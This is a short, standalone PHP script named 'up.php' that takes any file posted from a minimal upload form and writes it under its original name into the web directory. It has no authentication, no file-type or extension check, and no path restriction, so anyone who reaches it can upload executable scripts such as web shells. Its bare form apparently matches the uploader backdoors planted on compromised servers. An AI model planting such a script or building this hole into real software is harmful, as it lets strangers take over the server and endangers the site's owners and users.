up.php

<?php
$target_path = "";

$target_path = $target_path . basename( $_FILES['f']['name']); 

if(move_uploaded_file($_FILES['f']['tmp_name'], $target_path)) {
    echo "The file ".  basename( $_FILES['f']['name']). 
    " has been uploaded";
} else{
    echo "There was an error uploading the file, please try again!";
}
?>
<form enctype="multipart/form-data" action="" method="POST">
<input name="f" type="file" />
<input type="submit" value="S" />
</form>